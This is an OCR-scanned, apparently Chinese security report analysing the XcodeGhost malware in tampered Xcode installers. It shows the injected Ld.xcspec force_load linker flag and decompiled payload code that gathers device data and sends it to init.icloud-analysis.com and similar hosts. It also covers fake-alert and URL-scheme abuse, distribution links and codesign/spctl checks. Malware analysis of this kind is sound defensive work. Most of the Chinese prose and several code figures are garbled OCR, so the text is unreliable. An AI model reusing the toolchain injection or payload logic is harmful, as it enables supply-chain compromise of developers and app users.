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® 4. CoreService
® T Xcode fiiE: (iOS. iOS Fifl#s. MacOSX =/ F&H)

./Developer/Platforms/iPhoneOS.platform/Developer/SDKs/Library/Frameworks/CoreServices.framewor

k/CoreService

./Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/Library/Frameworks/CoreServices.fra

mework/CoreService

./Developer/Platforms/MacOSX.platform/Developer/SDKs/Library/Frameworks/CoreServices.framewor

k/CoreService

® PEATEE: FESUf: (i0S. i0S Bifl#s. MacOSX =4 F&)

ORXKIRINEFE , RIDTHRIEE, E2]



/
e E x Xcode JEEAIATRAMEREL (XcodeGhost ) BISFSEA

£ 2-1HEEXER

& E:R%\ i3 REfER | EWE | BHE | open XHFEEH L]
X Lrﬂﬁ
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KR A bl Moy Xeode [M#EH T 7 H SR g M52, H BITF A A g2 Xcode
Server it /e T 5 =77 T RELH TR T HERT EHT Xcodeo 173X UMK IR R B 9 77 St 32 By 4, T J
T KR APP 7 i WA P AR 7 T A RRA BRI ) 43 DA S 22 4 iR R 2 L LR AR il

Development Mac Source Code Server 0S X Server

R itori
Source Code Repositories Bull

Push/Pull Source Code

Source Code m m
ijegt rﬂ 7

Xcode
¥code -
Integrations
Create and Initiate Bots _— )
Xcode
Server
Report Activity Server.app

B 2-2 T Xcode A LR (B=FER) W

1. BEFEAEA Xcode T7
WFH T Xcode FosE EFIE AT [EIERE IR, HRACREE KA X Xcode THIFTRZEBH, FEH
=ty N
® Xt ios
<~ Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/Library/Framework
s/CoreServices.framework/CoreService
< Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/Library/PrivateFram

eworks/IDEBundlelnjection.framework

® 4FXt i0S LR
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<~ Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/Library/Fram
eworks/CoreServices.framework/CoreService
< Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/Library/Priva
teFrameworks/IDEBundlelnjection.framework
® 4% Mac OS X
< Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/Library/Frameworks
/CoreServices.framework/CoreService
< Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/Library/PrivateFram
eworks/IDEBundlelnjection.framework
PARABDS 1 B S A
® Xcode.app/Contents/Pluglns/Xcode3Core.ideplugin/Contents/SharedSupport/Developer/Library/Xcode/P
lug-ins/CoreBuildTasks.xcplugin/Contents/Resources/Ld.xcspec
2. BEWEMHFHENA App TR
®  WHGHIT AT Sk App T H #B 73
o CERRAIMANIEE: @B Xcode BLE SO, FE( B Linking I AR 7 45 i I 2 S0t
® ZIUHNCE A
Xcode.app/Contents/Pluglns/Xcode3Core.ideplugin/Contents/SharedSupport/Developer/Library/Xcode/P
lug-ins/CoreBuildTasks.xcplugin/Contents/Resources/Ld.xcspec
® RINMiEH): “force_load $(PLATFORM_DEVELOPER_SDK_DIR)/Library/Frameworks/CoreService

s.framework/CoreService”

Name = ALL_OTHER_LDFLAGS;
Type = Stringlist;
DefaultValue = "$(LD_FLAGS) $(SECTORDER_FLAGS) %(OTHER_LDFLAGS) $(OTHER_LDFLAGS $(variant)) $(0THER_LDFLAGS_$(arch)) $(0THER_LDFLAGS_$(variant)_s${(arch)) $(

PRODUCT_SPECIFIC_LDFLAGS) —-force_load $(PLATFORM_DEVELOPER_SDK_DIR)/Library/Frameworks/CoreServices.framework/CoreService";
CommandLinePrefixFlag = "*;

Name = "ALL_OTHER_LDFLAGS";

Type = StringList;

DefaultValue = "$(LD_FLAGS) %(SECTORDER_FLAGS) $(OTHER_LDFLAGS) $(OTHER_LDFLAGS_$(variant)) $(OTHER_LDFLAGS_${arch)) $(OTHER_LDFLAGS_$(variant)_s{arch)) $(
PRODUCT_SPECIFIC_LDFLAGS)";

"CommandLinePrefixFlag" = "";

B 2-3 R Xcode 5EFMAEE CH3FEE
2.1.2.2 EBEAREEITHE

o EEULMANLE: UlwWindow (didFinishLaunchingWithOptions);

o CERACHEZNI IR App JEBNJE, IR S AR — A U R R AU DA PUT T
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® i0S MHJEFNFE: MWRIGPATIHIERE, K 2-4 i —BHA DE BB &, HIHAEL
FEAHR A A B 3h A B, T UIWindow A 10S App J& 35 fé 7 T T N AT

, iOS App Launch Sequence
Default project template in Xcode 4.2

[ (without Storyboarding)

* calls
creates and
creates manages ﬂ
UIApplicationMain() -w UIApplication « '

delegate
creates l i sends Runtoap
. loads
AppDelegate creates and
displays

application:didFinishLaunchingWithOptions: -%1
TbusrT
o Application Window
® Root View Controller

EEABHMANIR

Ole Begemann / oleb.net

2-4i0S A BERE (F=FER) B

®  UlWindow 4 & 7 =

T B R S TR, Xcode 43 E Bh4E kA Window, 4R iEE AR R keyWindow FEon ks
TR AR, MR 2 IR TF R N R4S 5 g XS UIWindow X 4, X 52 IR Xcode HAE A %
EAALE W EFEZ—,

o EEARD A BN AL AT

TSN T Ulwindow (didFinishLaunchingWithOptions) ', F: A 4:  UIWindow_didFinishL
aunchingWithOptions__makeKeyAndVisible_; UIWindow 2 /F & 7 HA A View H— D58, &
TR B #5424 — > UIWindow; 1 didFinishLaunchingWithOptions 2 [ (1A% £ 7E UIWindow J& Z i 14T
BBl Ik G App 7E 18 Bl I BT SR THE 4 J 7 T s AR AT BN 1 AXAS 1.
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il i =

DCD _ UIWindow didFinishLaunchingWithOptions__ makeKeyAndVisible +1
W= &)
| [UIWindow{didFinishLaunchingWithOptions) makeKeyAndVisible]

2-5 BEAGFEANABAOR

213 feESR

2.1.3.1 HAEEFR

CEMAMEAREREES. MNEB. MAA. B4, KGR, B85, BEx. MEELSE; FiE

WY App [I3E4TIRZS: launch. runing. suspend. terminate. resignActive. AlertView.

P {5 38 DES N 5 POST A% 2 IR 5545

® init.icloud-analysis.com

® init.crash-analytics.com

® init.icloud-diagnostics.com

R4 W LIRCE y ACL 44 St AT +44k, BUAE IDS &5 as L B i URL AALI, AT LK P I
HEAT R I BEH X RS0 5 R TR T DU ACFE I ER I B R SR 2 A AT A

Hrr 6.0 litA URL AFFFEEL, T3 7.0 fAs URL ML B FR59F4E, 7.0 R rhids nf USRI, H
BYIERRAE B
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uh3
uhl

3| objc_

bl w25 =

5| w26 =

6] w27 = v26;

7| v28 = objc_msgSend({
B

9

i}

v2b,

ORKIFINFIE , WDTHREEEH

uh?
objc_retain{vi?);

Xcode IFEFMRBESIFSREM ( XcodeGhost ) HIBHTSLRA

= CFSTR{"3G"};

uli;

objc_msgSend(
&0BJC CLASS _ HSDictionary,
"dictionaryWithobjectsAndKeys:™,
uss,
CFSTR{"timestamp'},
uSh,
CFSTR{"app™},
uLy¥,
CFETR{"bundle'},
vGAa,
CFSTR{"name™},
ush,
CFSTR{"0s"},
ut3,
CFESTR{"type"},
uti,
CFSTR{"status"},
usz,
CFSTR{"language'},
oL
CFSTR{"country”},
w3d,
CFSTR({"idfuv"},
w2,
CFSTR{"network"},
oy,
CFSTR{"version™},
A=

2-6 FH EERER

msﬁSend(u1?, "abhendData:", vzay;
objc_msgSend{&0BJC_CLASS__ HSURL, “URLWithString:", CFSTR{"http://ihit.icloud-analysis.com"));
objc_retainfutoreleasedReturnValue{u25);

&0B.JC_CLASS HSHutableURLRequest,
"requestWithURL :cachePolicy :timeoutInterval:",

2-7 6.0 A S URL AFEFEER

B8
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objc_release{u185});

U108
ul@9
objc_
vi18
v111
objc_|
uii2
ui13
objc_|
ullh
111G
objc_
ull16
117
objc_
vi1g
viig
objc_|
vi2d
ui121
objc_|
ui22
U123
objc_
ulz2y
u12%
objc_|
ui2b
ui2y
objc_|
ui2g
ui2o

objc_release{u127};
u128 = objc_msgiend{vi129, “stringByAppendingstring:*, C

release{uv187);

release{uvi@d);

release{uvi11);

release{uvi113);

release{vi115);

release{uvii17);

release{uv119);

release{uvi121);

release{vi123);

release{ui125);

objc_msgSend{u167, "stringByfAppendingString:*", C
{uoid =)objc_retainfutoreleasedReturnlUalue{uvi188});

objc_msgSend{v189, “stringByAppendingString:", C
{void =)objc_retainfAutoreleasedReturnValuedvi118);

objc_msgSend{v111, “stringByAppendingString:"', C
{void =)objc_retainfiutoreleasedReturnValuef{vi12);

objc_msgSend{ui113, "stringByfAppendingString:"", C
{uoid =)objc_retainfiutoreleasedReturnlUaluef{uiil});

objc_msgSend{ui115, "stringByfAppendingString:*", C
{uoid =)objc_retainfiutoreleasedReturnlaluef{uvii6});

objc_msgSend{v117, “stringByAppendingString:", C
{void =)objc_retainfutoreleasedReturnValuef{vii8);

objc_msgSend{v119, “stringByAppendingString:"', C
{void =)objc_retainfiutoreleasedReturnValuedvi28);

objc_msgSend{ui121, "stringByfAppendingstring:"", C
{uoid =)objc_retainfiutoreleasedReturnlaluef{uvi122};

objc_msgSend{ui123, "stringByfAppendingString:*", C
{void =)objc_retainfiutoreleasedReturnlUalue{vi2i});

objc_msgSend{v125, “stringByAppendingString:"', C
{void =)objc_retainfiutoreleasedReturnValuefvi26);

objc_msgSend{v127, “stringByAppendingString:"', C
{void =)objc_retainfiutoreleasedReturnValuefvi28);

[ I TTTITS am Al mwr Als AT S amd AT ;s Al S e Tl =T s S e - Bt RotTY = A°C

2-87.0 kA URL ZFFHHERR

ORKIFINFIE , WDTHREEEH
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objc_msgSend{&0BJC_CLASS HSBundle, "mainBundle")};
{void =)objc_ reta1nnutnreleasedﬂeturnUalue(uu);

objc_| msgSend(uS "bundleldentifier"};
ypid *)objc retainAutoreleasedReturnUaluefud);

u8 = objc_ msgSend(u? “"stringByAppendingString:*", CFSTR{"-"}};
u? = {void =)objc_retainAutoreleasedReturnValue{u8);
objc_release{u7);

uilB = objc_msgSend(v?, “stringByAppendingString:", CFSTR{"i"}};
ui11 = {void =)objc_retainfutoreleasedReturnlalue{ui1@};
objc_release{u9);

u12 = objc_msgSend{uv11, "stringByAppendingString:"", CFSTR{"0"});
u13 = {void =)objc_retainfutoreleasedReturnlalue{vi2};
objc_release{uvi1);

u1l4 = objc_msgSend{v13, "stringByAppendingString:"", CFSTR{"S"})};
uvi15 = (void =)objc_retainfutoreleasedReturnValue{vil);
objc_release{uv13);

ul6 = objc_msgSend{v15, "stringByAppendingString:"", CFSTR{"-"}};
u17 = {void =)objc_retainfAutoreleasedReturnValue{ui6};

objc release{uiS):

U objc_msgsen
ul9 objc_ reta1nnutureleasedﬂeturnUalue(U18),
objc_release{uv17);

v2?8 = objc_msqgSend{&0OBJC_CLASS___ UIPasteboard, "pasteboardWithMame:create:", vi9, 1});

asteboard"));

objc_msgSend{v21, "setPersistent:", 1});
objc_msgSend{v21, “setString:", v3);
objc_release{uv3d);

objc_release{uv21);

2-9 7.0 A AHIGRER

2132 fEEME

BRA T LR R BN MM EEE, AR, A TR 1D, BUEIRHL. #IAE
Hl; FEEEIRZA D B BOA SR AMERE T, B JeEE 2D (SR A, IR A RE
it 24 e, B 3REC Apple ID S AAMVE RS S AHIAERR 70 AT Al v, XTI B2
Ja RAFAERFD

AT  :_er )
goto LABEL_37;

u¥2 = objc_msgSend{vi5, vi13h, CFSTR{"alertHeader"});

u?h = objc_retainfutoreleasedReturnValue{u?3);

v?5 = objc_msgSend{v15, vi34, CFSTR({"alertBody"}));

v?6 = objc_retainfutoreleasedReturnValue{u?5);

iy objc_msgSend{v15, vi34, CFSTR{"appID"));

vi2h4 = objc_retainfutoreleasedReturnValue{u?7);

v?8 = objc_msgSend{vi15, vi134, CFSTR({"cancelTitle")})};

u7o objc_retainAutoreleasedReturnUalue{u78);

u126 15 ;

v88 = objc_msgSend{v15, vi34, CFSTR({"confirmTitle"}};

v81 = objc_retainfutoreleasedReturnValue{u8@);

v82 = objc_msgSend(&0BJC_CLASS  UIppplication, “sharedfApplication'};
v83 = (void =*)objc_retainfutoreleasedReturnUalue{v82};

v84 = objc_msgSend{u83, "applicationState"};

ahir valaacafad3y -

2-10 TR EHEHER

E T WA T DR BOE, Bl 58 4l AT 5% & AT VR B A0 -
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2.1.3.3 mEpEHR

1. OpenURL @#%
TR AU T — M F OpenURL fRIZ da kb, A E n] DL SR AT MR 55 2% $R B E] ) URL scheme,
HA%EH canOpenURL 3REU % #% _E 5 X URL scheme {5 5., FMIRSS 283K B URL scheme i OpenURL #,

17
1
vt = objc_msgSend{&OBJC_CLASS _ UIApplication, "sharedApplication™);
v7 = {void =)objc_retainfutoreleasedReturnValuef{vdd);
v13h = uvi7;
v8 = objc_msgSend{vs2, vi17, CFSTR{'scheme"));
1L = vub2;
v69? = objc_retainfAutoreleasedReturnUalue{uvdd);
u78 = objc_msgSend{&0BJC_CLASS __ NSURL, "URLWithString:", v69);
u¥1 = objc_retainAutoreleasedReturnValue{u7a);
u¥2 = {unsigned int)objc_msgSend{v6¥, “canOpenURL:*, uv71});

obic release{u71);
2-11 canOpenURL 3REUE R, HITMARFEEZIREEY URL scheme

2. URLscheme §8/7

URL scheme IR K, JHid OpenURL mJ HSEHEIR 2 DhRE; (HiE EyE & M2, URL scheme FTREIA 211
TR 5 Hbx App BURA K, dndk+T Hivh . ROERIAE 5 AR R S Y B A A AR o (HAn SR HA App BRR G
Y14 URL scheme MR . Webview Ji%E, IR IATE L 4T M

T IR5s a2k, FIRHZREAR B W AR R W BAR(E M T FLE URL scheme, LR AT HT
% AR T BE AR B AT N -

® i App
® RITHLL
® kK
® LMK

® REUBYNGARAE B
® JTIFMITL, T I = Apple f4 R 5k
® LEAPRE TN, App Store&{ViE N A AT
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viB8 = objc_msqgSend{v28, vi1¥, CFSTR{"appID'"));
vi189 = objc_retainfiutoreleasedReturnValue{u188);

if { vi@9
&& (v118 = objc_msgSend{v2d, v17, CFSTR{"scheme"}),
vi11 = objc_retainfiutoreleasedReturnValue{vi18),
objc_release{uiii),
ul11) )
{
vi12 = objc_msqgSend{&0BJC _CLASS  Ulapplication, 'sharedfApplication™);
u113 = {void =)objc_retainfiutoreleasedReturnUalue{ui12});
v126 = uZi;
viihs = objc_msgSend{v2d, vi17, CFSTR{"scheme”)})};
vi115 = objc_retainfiutoreleasedReturnValue{uvi14);
v116 = objc_msgSend{&0BJC_CLASS __ MNSURL, "URLWithString:", vi15);
vi17? = objc_retainfiutoreleasedReturnValuef{vi16);
vi118 = {(unsigned int)objc_msgSend{v113, “canOpenURL:", v117);

objc_release{uii7);
2-12 & BN A appID FxJ R URL scheme

FANET R, T HE AR SRR E, S BUE LR g L7 e Y
HLRoR” BUH 5 SRS R 2 N

214 FREIAFIA

BRI IR sk, (b T HalE8ds 2R M 1 DES fif e, WA ANE
ST AR AT A . A IR ATt . DNS V53T, Beli & R f ZRAREAR b IR &5 238044 i 21 B R iR
S5, BV R T A B G Beas, BEMISRIE AL . SREIIVE, R 5

o B ARSI ) DES B H1ZE LA, S S8 A4 B stringWithFormat®, PRI K2
KR, BIHT )\ A4 stringWi”.

DES bRt % FHK A 56 £, i b 8 AN#ArRAEAz, IL 64bit Bl 8 777,

weE T mag

objc msgSend(EFSTﬂi"strinqwithFurmat"), "qetEStrinq:maxLenqth:encudinq:",]&uzﬂ, 33, 4);

vl = objc_msgSend{v3f "length™)

vi12 = malloc{{size_t){{char =jul
uid = B8;

vi3 = {void =)objc_retainAutorelease{ud};
vi% = objc_msgSend{uv13, "bytes"});

objc_release{ul);
if { CCCrypt{@, 1, 3, &u28) )
r

# 2-13 DES BHHERAR

P LB R A R 5% 2 C 22 20, AR T P Rt SE i A App WA, 5 75 AR BT A App,
BT B EN AR BN EEAE AL WIFT BREE A, T SRR AS R A
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2.2 BINESHT

BbF) 2015 4F 9 H 22 Huef= 3 1), Ml &4 i Bt KB Lo, 0 Cafiildt 692 i (4%
HERAS 5 1152 858 ) App IRy, HA BRI ARG S . S R AT (T4, 58 [FI.
MBI WSS PR M m B . RIEALIX . BAEERSEMAKZ MR KT

FAEgih, UuTeTREHIL TARYE App ERT RECE . MAEE. MRAEEN HASH &S ARG T
o FN TS FEIREARAZER, UARBHEMER 7 REF =T G Wiy, RAMVIER S
REIN L, KFEHSET EZERBR. Y APP FREE ST, #h FIABE & A 7 — ANl T
B (http://x.pangu.io/), XA G 7K TTRR .

it FEWBRIE, RIEFREE, X—FEE T HEBEFRIH LRE CNCERT 4.

LRMFCE A — 4 2014 4EFF i0S TOP 200 HEAT 15 BEHEAT T App K, LR IUA 6 3k App 52 SI5 0,
1E3 2-1 F A AR BN,

3R 2-2 App Store Top200 FZ5N App 4iit, ABAZIRMEKHY

1 Wfs

2 HIE

3 W=

4QQ

5 miiESA
REEE L PN

7 B

8 WHTE

9 EA L PPS
10 X 535 =

21 M MTOnline
22 REEMS

52 B KA

53 AEES

54 B

59 i

60 FH A
61 PRI %2 K4

101 PR TV
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102 ME=FER
103 4 H:k%

200 VKJIBAR: A
Hil, A28 AR N oR %2 2 F IR T & F- & Unity 3D fil Cocos 2d-x #%[F]—fE& N T
TR HIE TN RA, 53 Xcode Fik—FE. M T I DAFINE R & 2 U@ Xeode 75 4L/ CRL ()
ID R AT AT AN BBEAT AR R R BB 8, H AT DB R R R R . RN RS 1T
IR, B XTI G W15 G e SRR B i A BR 3E 4347
HATRE, XK MAE T 43 R BN S 2, AR AT GE i s . T () I X el 35 e 1)
N, ATREAERINUESEEIEF, 4RELfF7E,

3 el BRSH

31 f&EAHT

Bl B T 2 ANKS, £ AR Rl AR TR AT AR AE N BB ARG 1) Xeode, PAR /2% R 714/
X HALARNK 5 S AR5 2 10 i P P B

2015-03-16 11:49
8 2015-03-23 18:17

3-1 fFR DR XEK S HE

PAENEEANDH Xeode I i # bAEEHE WA, REEEEN AL RIERAmERE, LR
WinfFE: 51CTO HARWIx. BEMLIE |« unity £, Oria IBIRA swiftmio 22 R4 /NH i I B R R B0
HE R RATRLE “unity 22887, BHTAEIRIORS A 2015 4E 3 H 16 H, B &R MSIEN 1D RATRIIE
JE RN HMBEEAEE, PEES WK 3-1.

& 3-1 EEILIRIER
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sh 87 3 5 5 J T

Jak B ) E N4 iPhone 2012-12-2913:17  Xcode f4:fiA< http://bbs.feng.co  Imznet
#EIX 1 G S ) F#k, Xcode7 L m/read-htm-tid-5
2015-6-15 09:41 S Xcode6 4%  711821.html
2l
unity 3¢ i Unity3D H 34 2015-03-16 11:49  fz4: Xcode £kt http://game.ceege  coderfun
ARAZHAL X 5t G 1) AW % #8 P r.com/forum/read.
2015-3-23 18:12 B RINAS1  php?tid=204961-
1-1.html
9ria Wiz Wi I R #E X 2015-03-24 16:55  Xcode fxA=hiwA  http://bbs.9ria.co  linuxFans
T m/thread-43267
51CTO Wiz (A HE4MLHITH, 2015-04-0918:56  Xcode 6 . Xcode http://bbs.51cto.c  jrI568
JEE B ) NI B L ) 7 & Z%|, HE  omithread-11497
2015-7-1 14:07 WA Btk 38-1.html
Jak [E N4 iPhone 2015-06-1509:43  Xcode f4:hiiA< http://bbs.feng.co  coderfun
X T #;, Xcode 7 m/read-htm-tid-9
PLJK Xcode 6 %  581633.html
5|
€ - C [) pan.baidu.com/share/home?uk=19024334718&vie... Q =
BB =R ZF:3 SE B
& coderfun
g8k, ER%
v 104% 0% 4iTH 642Hz
SBHE
B &
[ teode 6.3.2 2015-05-11 02:34
[ Xeode 6.3 15-03-23 0
BB oo 6.2 O
——— YT
B Keode 6.1 2015-03-23 02
B feode 6.0.1 015-03-23 02

32 FEEEEME

CABER IR RE 0], XA T A B —ANMHM, E AT 2012 48, JF4E 2015 4£ 6 A 15 H#t 1T
JEgniE, EEHIEM <5507 FEE, 208 7T S I SR, i 3-3,
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[R4iEiE] XCodeEShRA T , XcodeTEAREXcode62F7 Sk

Imznet @ &F=T 2012-12-29 131707 | BEZEE » 12 (=) s

@ é -
o e .@ BREESEn 2D -

r:.:%;a Imznet F 2015-6-15 09:41 $¥5 |

HH | WF | AR Xcode £FFIMEBTEH : http://pan.baidu.com/s/1CWOay

&l FFR Xcode 7 HEME : http://pan.baidu.com/s/1ntst3bb

u?% . Xcode 6.4 BEME:http://pan.baidu.com/s/1kTgZQYV

‘*éﬁ 77 Xcode 6.3.1 IESLERMIER : hitp://pan.baidu.com/s/1dDvVIn7

sz Xecode 6.3IFTLARMIE : http://pan.baidu.com/s/1sjx9hOL

;T;EE ' Xcode 6.2 IETCARMIER : http://pan.baidu.com/s/1eQ5xhia
Xcode 6.1.1IFFARMIER : http://pan.baidu.com/s/1jGvfAaM
Xcode 6.11FTURRMIAR : http://pan.baidu.com/s/1gd8ITOn

3-3 B A ML

BEAR, AR EAT A Xeode A4 A&l IVl T B dE ek, = SEGMAE T T EHE B R
A, ARJE R[] — WA 2 B OFEH 738, JEMER TR . 70K S I 3-4. 14 3-5:

o EIRD 1. EE0ERERITIGEEL | B506 0TMB. EF U NERA B, AER
AshEEd. 2, S5, FENHEREERTEEMNEFRINEELE M=y, m
AZEREMAEEE. /@Daniel_K4:Z—IRXCODER R ANFEBEERERE
REXeaahitizBREaEmMEaESizE M.

W

a8, RBEEHEIFERER. 558 ¢ WhiEsS

3-4 EEAEE 1 WiBLMaER

ElE@MichaelBobby E41E | SNSRI = FE s | A ERELRE 1TEeE , =5un 7
THITESE. MTEEMNESTEHMSHAE | SIR 1S EEEENE F A/
TE97MBRIER M. SHIEEEMEE 1. /@MichaelBobby BB RHA8 ARG |
ERUNTERIEESER

o, HAEEHREENER. ES5FE . ¢ s

<3 02:00 %8 Hf# weibo.com
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2015 4F 9 19 H AT 2 [ CUOAS T 1 040 1 1 25 b e FL e DU SR AR T, DA F 2
21 A FE P

2015598198

2015598198 1211 i 596

HEE—T, SHEAMURBMES T HiegE0, #idlT, FERTHTH
Xeode, S TFEFI7CMMESAEAREMEETHE, AELAZ BRI E, Biam
6.4, EA6. 450 HakEmac app store F T8, ETRITEHURL, Frilfigoogled¥®: T —
T, EEESEHRT 64, RENSEREE, FAEHT EEEENREMER
T i T—E, #MECHcode S, ERFEHERRE T, MEoe
T BIERET, IR

FAUGALITE
5T T @ERELIRIE 5938 ntip /it cn/RyMNHBY
HE A FH2A)
SHEREL I it e
@EIS boy @FES HEE—T , SHEANRLEASE FRIEAE , &t

BT BEFEERTE T A MXcode , £ MEIITGMIRESHE EFURLEAEE MY
, WERAZEEEAR , BiER6 4, B0 44 REEEmacappstore E 5,

& U
SF 12

weibo.com

B 3-6 P& % HiERA

ST LB AE B BRATRUEE B AN N EWAT N, H AT BE A BAIE I B 35 YOR A AR SR 75 G )
(EHAEM N AR A, B S — EARAEAT X T 4, AR N BB E R A DT T e, T E R
BOEATREIRA BRI 5 A 2, FAVIRARE S BRI T 85 i E, B EA A ReELR ENFFETT
HORMC . RIS B 52 BT WA T R A7 ELAE R BN 2 T BT A3 2 A0S KA (R E2 P
BIHAEATD HIFEOL. SZRETER, 2R RIS R AL FREATHE D IRIE. 1 2 = 0
B IRER B N EAAE M E AT T NS IR . R /NARE & 77 = WO T A E
M BT, BARS B EEE T ERIOR T BRI, (R SEAEE ™ E G YR, AR E
I .

32 HhEHERIEN

SRR 1 TR 22 4= BT BA B BAR R, NI AT RE /S X Tk KA — 44524 N BIFHA G
&G0 T 24T G EhbraifE, JFCSAE i0S fl/7 i 1 ESehrim, MR ENERITG. 5 G,
HERATHT, A& SEO MALMEIR. MHLGEREIIRE, AR RAL ML, ARk, =X
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BAFAEIABTT DRI RO AT e RIS, ARGEARXS IS A R, o2 A FH sl A2 0] B2 PRI By 3 2 B
HAEBTRITHIK RSN, WHBERZRBRARE B #H A B 3R .

BB 6 T Bt 5 R0 S 3 5% Bt H T3 SR oI, AT R, BRI S adh it 9 bR B
W B, TR SR B B R X1 TSR

HAERZ A I RE S 4 HT ), 1475 Xcodeghost Jrf— & E#7E7 Sl . ©

2% 2 A R BNE  (Threatbook) SRS IROCHE I EHE, X BGE# i T a0 B 2k, ©

3.3 FRITHIREN 5T

SEOREIR) RATR App 25 YR E BRI, AR BIBARESF IR T, IR N EKT
RITENE T4

PATEIA IR Z 730 BIBL R T A S0t 1 52 B B U7 Xeode SCAFA Hash, (AR BLHE B I EAT £ 7
ZA I e R RS,

3.3.1 Mac&iOS app EEH

OS X F1i0S M F AR r1%5 44 97 5, Jp:
1. {EREfFEH i _CodeSignature/CodeResources I, 174t 1 #5544 HIFR Y B HR BT A SO 4 22
>

=Py

2. fHHAFAE Private Key X B3 TN, 5eACiL%4 .
332 Mac EEAERTIHE codesign I8E App AR

Mac b r] BAf# A B 75 codesign I E%+ Mac&iOS App #7254 K IE .

codesign )& T Xcode Command Line Tools £ —, w LAMEH Wi k77 LR EU 8, HEFEEH 1. 2
Ji

1. Terminal B 17: Xcode-select —install;

2. Mac App Store H 723,

3. %% brew J5H#UT brew doctor [ 3% %%

4. 7£ Developer Apple it R4k 2235  https://developer.apple.com/downloads/

ORXKIRINEFE , RIDTHRIEE, %18}
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Downloads for Apple Developers Hi, G ~
Description Release Date -
Command Line Tools 05 X 10.10 for Xcode 7 Sep 16, 2015
This package enables UNIX-style development via Terminal by installing j Command Line Tools 05 X

command line developer tools, as well as 05 X S5DK frameworks and headers.
Many useful tools are included, such as the Apple LLVM compiler, linker, and
Make. If you use Xcode, these tools are also embedded within the Xcode IDE.

[ 3-7 Developer Apple £/ Command Line Tools T&

3.3.2.1 3B app BLIEHER

f#i 1 codesign -vv -d xxx.app $54 1] AFKEX app I 415 5.
WGAIEE 77 Xcode7.0, J5HEN Authority 15 B BIiZ 5N AEBE S, Hr.

Authority=Apple Root CA, F/RKAGUETI CA ML, XARNIEBEALF L

Authority=Apple Worldwide Developer Relations Certification Authority, F/~iE-BRMAE T L, N
Apple FIIAIEEBT 5

Authority=Apple Mac OS Application Signing, F/RUETFTAE, RN HJE T Mac App Store %44
KA.

s »codesign -vv -d /Applicat

ions/Xcode.app
Executable=/Applications/Xcode,app/Contents/Mac05/Xcode
Identifier=com.apple.dt.Xcode

Format=bundle with Mach-0 thin (xB6_&4)

CodeDirectory v=20200 size=322 flags=0x208(kill) hashes=7+5 location=embedded
Signature size=4169

Authority=Apple Mac 05 Application S5igning

Authority=Apple Worldwide Developer Relations Certification Authority
Authority=Apple Root CA

Info.plist entries=34

TeamIdentifier=59GABESEFG

Sealed Resources version=2 rules=12 files=306123

Internal requirements count=1 size=108

3-8 B Xcode7.0 BEH (R

MM UE 7 XcodeGhost W = 4fi (1) Xcode6.4 S, H Al # 4 Software Signing”, 1% B14FE Mac App Store

B 5 BIE KA
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. P a P R P R R T

=/
rva/Desktop/i05/018-XCodeGhost/xcode/Xcode . app
Executable=/Users/nirva/Desktop/105/018-XCodeGhost/xcode/Xcode . app/Contents/Mac05/Xcode
Identifier=com.apple.dt.Xcode

Format=bundle with Mach-0 thin (x86_64)

CodeDirectory v=20100 size=227 flags=0x@(none) hashes=3+5 location=embedded

Signature size=4997

y »codesign -vw -d /Users/ni

Authority=Software Signing

Authority=Apple Code Signing Certification Authority
Authority=Apple Root CA

Info.plist entries=33

TeamIdentifier=not set

Sealed Resources version=2 rules=12 files=187936
Internal requirements count=2 size=17Z

3-9 EE Xcode ZRER
3.3.2.2 IiF app K&

AT IBRNG A AR EE AN HK, 80 Rh 2R P (B Example.app) A —N Uil
_CodeSignatue/CodeResources 30, XA SCHFHAF il T #2844 IRE 00 i SCAF IR 2844

1 Fi§ codesign --verify xxx.app 154 7] LIHR#E_CodeSignatue/CodeResources SCAF-46AIE App )&%tk
K5 H 7 Xeode MH, BEidEL, AR,

- /Applications >codesign --verify ./Xcode.app
- /Applications >|:|

3-10 B/ Xcode ZEKW A
RBE6E XcodeGhost % = i) Xcode M, BRAERI, 2 IR R, W BH %N RS 4 2 a #iig sod

=3 /i ‘w Tt -XCodeGhost/xcode >codesign --verify ./Xcode.app
./Xcode.app: a senled resource is missing or invalid

- Nommini ihiiid- XCodeGhost/xcode >{|

3-11 T & Xcode & KU 2

3.3.3 ERHIERE Xcode ISIETH spclt

YRR B K, YL U5 T 2015 4F 9 7 22 H R A SCEEPHERE A spelt TR % Xcode &ikitk
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Validating Your Version of Xcode
September 22, 2015

We recently removed apps from the App Store that were built with

a counterfeit version of Xcode which had the potential to cause
harm to customers. You should always download Xcode directly
from the Mac App Store, or from the Apple Developer website, and
leave Gatekeeper enabled on all your systems to protect against
tampered software.

To verify the identity of your copy of Xcode run the following
command in Terminal on a system with Gatekeeper enabled:

spctl --assess --verbose /Applications/Xcode.app

The tool should return the following result for a version of Xcode
downloaded from the Mac App Store:

/Applications/Xcode.app: accepted

source=Mac App Store

and for a version downloaded from the Apple Developer web site,
the result should read either

/Applications/Xcode.app: accepted

source=Apple

ar

/Applications/Xcode.app: accepted
source=Apple System

3-12 B HHEM spcd TREWM Xcode &M

W 3-13, kN IERR Xcode JeiE{E B, K BAKIE N Mac App Store; 1M R [l A= & Xcode T HIGIE(E
B BAERRIEE R

=+ | . -XCodeGhost/xcode »spctl --assess --verbose /Applicati
ons/Xcode .app

/Applications/Xcode.app: accepted

source=Mac App Store

override=security disabled

=+ | XCodeGhost/xcode »spctl --assess --verbose ./Xcode.ap
p

./Xcode.app: accepted

override=security disabled

3-13 £/ spct| TEKEE Xcode kiR
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KT ULHT Xcode 7 [ N T £ (1) 10 8 — BRI, FLATAE 1] P DX 4% 48 Tt 7 T 70 ), (LSRR
JE% CDN BEJth g — MR R FRATE B RN RAE B8 2 ocE B WA N 8k, (HIC IR As o,
Ji ) IRE ARSI SRS, #ONAZAR T R TR B A E

4  Android X pEFREE

41 TWELSHE

£ XcodeGhost HAF AL JA, R AT N R T T Hfb- T G AR B @ IE T A TR A, Hl1 Tk
MM BEIEAREL AR ) SE R R AT, R E T RE AR, HIFREHAMI LT ERIEZ . HIEQ
S BIBA A BL Unity 3D # [FIFRTS S il L —FF, X IR A B HARTT 5T 6 A7 A A 7]
